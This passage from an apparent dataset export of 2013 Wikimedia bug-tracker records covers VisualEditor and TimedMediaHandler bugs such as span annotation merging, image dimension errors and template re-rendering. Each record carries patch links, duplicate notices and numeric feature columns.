+**Severity**: normal",High,80.0,1371774060,1372722142.0,PHID-USER-s7sn3zjthnxvep34c5ho,False,,False,PHID-TASK-dvy6cixcc2nxje733xv6,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,0
+233511,imageinfo API returns incorrect data,"This backport is now live; as such, marking this bug as fixed.",,,1372722142,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dvy6cixcc2nxje733xv6,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0
+233507,imageinfo API returns incorrect data,"Change 71393 merged by Catrope:
+Clean up transform dimension height handling
+
+https://gerrit.wikimedia.org/r/71393",,,1372706216,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dvy6cixcc2nxje733xv6,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+233503,imageinfo API returns incorrect data,"Change 71393 had a related patch set uploaded by Catrope:
+Clean up transform dimension height handling
+
+https://gerrit.wikimedia.org/r/71393",,,1372706194,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dvy6cixcc2nxje733xv6,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+233497,imageinfo API returns incorrect data,"(In reply to comment #2)
+> Related URL: https://gerrit.wikimedia.org/r/69869 (Gerrit Change
+> Ide7208394f8495f5b143cbba215d4645598f1a50)
+
+This has been merged, and went out with wmf9. However, given that wmf8 is on the servers for an extra week and it makes really not-nice behaviour in VisualEditor, we probably want to back-port this.",,,1372581138,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dvy6cixcc2nxje733xv6,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+233492,imageinfo API returns incorrect data,Related URL: https://gerrit.wikimedia.org/r/69869 (Gerrit Change Ide7208394f8495f5b143cbba215d4645598f1a50),,,1371829144,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dvy6cixcc2nxje733xv6,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+233485,imageinfo API returns incorrect data,"There are actually two bugs going on here.
+
+First, TimedMediaHandler isn't normalizing dimensions for audio files, which means that the height=-1 being passed to indicate ""don't limit by height"" is being misinterpreted.
+
+And second, TimedMediaHandler is using an incorrect calculation when the height is the limiting factor on the thumbnail dimensions, leading to the width of 1913. The same happens if you pass something like iiurlwidth=220&iiurlheight=10.
+
+Since both of these are in TimedMediaHandler, I'm going to reassign this there. I'll also submit a patch momentarily.",,,1371829089,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-dvy6cixcc2nxje733xv6,task_subcomment,,True,c1,2,False,,,-2,,0,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,1,0,0,0,0,0,0,1,1,1,1,0,1,1,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+51892,VisualEditor: Miscellaneous <span> tags added,"See https://en.wikipedia.org/w/index.php?title=User%3AEdgepedia%2FVE%2FMet&diff=560772671&oldid=560563847 for example; I have no idea why (problem with the template itself?)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1371748980,1373056128.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-jm7w3nmu4dvvbq4cevqz,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,0,1,0,0,0,0
+231539,VisualEditor: Miscellaneous <span> tags added,"I believe we have fixed this bug; if it recurs, please re-open.",,,1373056128,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jm7w3nmu4dvvbq4cevqz,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+51873,VisualEditor: <span> annotations next to each other aren't necessarily the same,"Two users have reported on this. 
+
+See:
+http://en.wikipedia.org/w/index.php?title=User:AussieLegend/Vandals_etc&diff=prev&oldid=560719781
+
+And:
+http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Font_colors_in_signatures_changed
+
+I realize that this is probably tied into other behavior, but I lack code-fu to determine what. :)
+
+Maggie
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=42803",High,80.0,1371732540,1373852393.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-fhtlyq5kho6tpsip3niy,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1
+230418,VisualEditor: <span> annotations next to each other aren't necessarily the same,Merged and will go out tomorrow.,,,1373852393,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-fhtlyq5kho6tpsip3niy,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+230413,VisualEditor: <span> annotations next to each other aren't necessarily the same,"Change 73523 merged by jenkins-bot:
+HACK: Don't merge adjacent annotations from Parsoid
+
+https://gerrit.wikimedia.org/r/73523",,,1373852315,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-fhtlyq5kho6tpsip3niy,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+230408,VisualEditor: <span> annotations next to each other aren't necessarily the same,*** Bug 51234 has been marked as a duplicate of this bug. ***,,,1373711757,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-fhtlyq5kho6tpsip3niy,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+230403,VisualEditor: <span> annotations next to each other aren't necessarily the same,"Change 73523 had a related patch set uploaded by Esanders:
+HACK: Don't merge adjacent annotations from Parsoid
+
+https://gerrit.wikimedia.org/r/73523",,,1373664173,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-fhtlyq5kho6tpsip3niy,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+230397,VisualEditor: <span> annotations next to each other aren't necessarily the same,"Adding Parsoid bug 42803 as a dependency. We do add nowiki between most cases of adjacent quotes to ensure at least correctness, but the markup will indeed not be optimal.",,,1373643542,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-fhtlyq5kho6tpsip3niy,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,1,0
+230390,VisualEditor: <span> annotations next to each other aren't necessarily the same,*** Bug 50291 has been marked as a duplicate of this bug. ***,,,1373632745,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-fhtlyq5kho6tpsip3niy,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+230381,VisualEditor: <span> annotations next to each other aren't necessarily the same,"All we need to do is turn off similar annotation comparisons in VE completely, but Parsoid is not ready for that yet, for example adding new bold text next to Parsoid-generated bold text would create:
+
+<b data=parsoid="""">Old bold text</b><b>New bold text from VE</b>
+
+which Parsoid should obviously merge to:
+
+'''Old bold textNew bold text from VE'''
+
+but doesn't yet.
+
+Once this is all handled correctly, we can turn off similar annotation comparisons and the two bolds in <b>Foo</b><b>Bar</b> will no longer be merged (as they have will have different data-parsoid's). Of course Parsoid will not want to merge them either so that will factor into their logic.",,,1373632309,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-fhtlyq5kho6tpsip3niy,task_subcomment,,True,c1,3,True,,,1,,1,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,1,1,0,0,1
+230374,VisualEditor: <span> annotations next to each other aren't necessarily the same,"(In reply to comment #6)
+> I still see annotation merging on this test case:
+> 
+> http://www.mediawiki.org/wiki/User:GWicke/TestDoubleFormatting?veaction=edit
+> 
+> Steps to reproduce:
+> 
+> * append a char to 'baz'
+> * preview the change
+> 
+> Result: The bold ranges are merged, leading to a dirty diff
+> Expected result: no merging and no dirty diff
+That should be the only remaining annotation merging issue. I've been meaning to file a bug about it but I keep forgetting.
+
+Ed, we need to preserve the difference between <b>Foo</b><b>Bar</b> and <b>FooBar</b> somehow. Feel free to hit me up on IRC if you want to talk about how we should do that.",,,1373576556,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-fhtlyq5kho6tpsip3niy,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+230368,VisualEditor: <span> annotations next to each other aren't necessarily the same,"I still see annotation merging on this test case:
+
+http://www.mediawiki.org/wiki/User:GWicke/TestDoubleFormatting?veaction=edit
+
+Steps to reproduce:
+
+* append a char to 'baz'
+* preview the change
+
+Result: The bold ranges are merged, leading to a dirty diff
+Expected result: no merging and no dirty diff",,,1373575903,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-fhtlyq5kho6tpsip3niy,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,0
+230361,VisualEditor: <span> annotations next to each other aren't necessarily the same,"Several of these issues are actually on the VE side, so reopening.",,,1372735042,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-fhtlyq5kho6tpsip3niy,task_subcomment,,True,c1,3,True,,,0,,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+230352,VisualEditor: <span> annotations next to each other aren't necessarily the same,"
+
+*** This bug has been marked as a duplicate of bug 48194 ***",,,1371814259,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-fhtlyq5kho6tpsip3niy,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+230345,VisualEditor: <span> annotations next to each other aren't necessarily the same,"
+
+*** This bug has been marked as a duplicate of bug 42803 ***",,,1371813989,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-fhtlyq5kho6tpsip3niy,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+230338,VisualEditor: <span> annotations next to each other aren't necessarily the same,"This is the same as bug 49478. We are dependent on it being in Parsoid first, otherwise we would reintroduce bug 48110.",,,1371812377,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-fhtlyq5kho6tpsip3niy,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+230334,VisualEditor: <span> annotations next to each other aren't necessarily the same,"In this case:
+
+  <span style=""color:green;"">Aussie</span><span style=""color:gold;"">Legend</span>
+
+… is being simplified by DM into:
+
+  <span style=""color:green;"">AussieLegend</span>
+
+… which, unsurprisingly, Parsoid assumes means we wanted to combine them. :-)",,,1371773903,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-fhtlyq5kho6tpsip3niy,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,1
+51855,VisualEditor: Blank transclusion block doesn't get converted into blankness,"Click ""add template"", then ""apply changes"" without adding a template (or add one, then remove it.
+
+Expected wikitext: none
+
+Actual wikitext: <span property=""mw:PageProp/noindex"" data-mw=""{&quot;parts&quot;:[]}""></span>
+
+We're clearly putting in a placeholder that we don't delete if the block is empty; because we don't display content blocks that don't render in read, you can't see these, which sucks and lets users do The Wrong Thing(tm).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1371699420,1371744867.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-crkiryzxavcthffyf5za,task_description,resolved,True,c1,2,True,False,True,-2,,0,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+254807,VisualEditor: Blank transclusion block doesn't get converted into blankness,"
+
+*** This bug has been marked as a duplicate of bug 49831 ***",,,1371744867,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-crkiryzxavcthffyf5za,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+51854,"VisualEditor: Re-rendered transclusion of blocks comes back as wikitext, not HTML (eww)","Something's gone wrong with our PHP parser re-render call; on re-render of block templates only, you get {{template call|param}} rather than nice lovely HTML. Presumably something to do with our hack yesterday? Plzfixkthxbai.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1371699120,1373555274.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-w3m2d62g427w2i6vbyd4,task_description,resolved,True,c1,2,True,False,True,-2,,0,1,0,0,0,1,0,0,0,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+254770,"VisualEditor: Re-rendered transclusion of blocks comes back as wikitext, not HTML (eww)","(In reply to comment #7)
+> I'm not sure if this is the same bug, but English Wikipedia users report that
+> when editing an infobox piped wikilinks display as [[word|word]] rather than
+> as it will appear on save. It saves correctly.
+> 
+> I managed to replicate this. If this should be split off into another bug,
+> sorry!
+
+That's bug 50801 which we're working on right now; re-closing this one. No worries. :-)",,,1373555274,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-w3m2d62g427w2i6vbyd4,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,1,1,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,1,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+254762,"VisualEditor: Re-rendered transclusion of blocks comes back as wikitext, not HTML (eww)","I'm not sure if this is the same bug, but English Wikipedia users report that when editing an infobox piped wikilinks display as [[word|word]] rather than as it will appear on save. It saves correctly.
+
+I managed to replicate this. If this should be split off into another bug, sorry!",,,1373555086,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,,PHID-TASK-w3m2d62g427w2i6vbyd4,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+254755,"VisualEditor: Re-rendered transclusion of blocks comes back as wikitext, not HTML (eww)",*** Bug 50361 has been marked as a duplicate of this bug. ***,,,1372690696,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-w3m2d62g427w2i6vbyd4,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+254748,"VisualEditor: Re-rendered transclusion of blocks comes back as wikitext, not HTML (eww)",*** Bug 50328 has been marked as a duplicate of this bug. ***,,,1372373510,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-w3m2d62g427w2i6vbyd4,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+254741,"VisualEditor: Re-rendered transclusion of blocks comes back as wikitext, not HTML (eww)",This should now be fixed and we will push it out this afternoon.,,,1372370057,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-w3m2d62g427w2i6vbyd4,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+254732,"VisualEditor: Re-rendered transclusion of blocks comes back as wikitext, not HTML (eww)","Change 70865 merged by jenkins-bot:
+Fix escapeParams in transclusions to not escape other transclusions
+
+https://gerrit.wikimedia.org/r/70865",,,1372368607,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-w3m2d62g427w2i6vbyd4,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+254723,"VisualEditor: Re-rendered transclusion of blocks comes back as wikitext, not HTML (eww)","Change 70865 had a related patch set uploaded by Esanders:
+Fix escapeParams in transclusions to not escape other transclusions
+
+https://gerrit.wikimedia.org/r/70865",,,1372360560,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-w3m2d62g427w2i6vbyd4,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+254713,"VisualEditor: Re-rendered transclusion of blocks comes back as wikitext, not HTML (eww)",*** Bug 49730 has been marked as a duplicate of this bug. ***,,,1372015399,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-w3m2d62g427w2i6vbyd4,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+51853,VisualEditor: Phantoms are not relative to the surface content,"Reproduce:
+
+1. Open page with a protected node
+2. Click edit (visual editor)
+3. Quickly mouse over the protected node (while VE loads)
+4. See that the editor has slid the content down but the phantom is rendered under the mouse
+
+Perhaps the local overlay should be a peer of the documentNode.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1371696840,1372210873.0,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,False,PHID-TASK-eepem2ziuzvmflw5gpqj,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1
+254692,VisualEditor: Phantoms are not relative to the surface content,Merged and will go out in the next few minutes.,,,1372210873,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-eepem2ziuzvmflw5gpqj,task_subcomment,,True,c1,2,True,,,-1,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+254687,VisualEditor: Phantoms are not relative to the surface content,Didn't investigate yet but able to reproduce.,,,1371699532,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-eepem2ziuzvmflw5gpqj,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+51849,"Images: Image insertion uses both the English and the localised syntax for ""right""","Reported initially in bug 49596:
+
+ptwiki (""direita,right""): https://pt.wikipedia.org/w/index.php?&diff=36119075
+
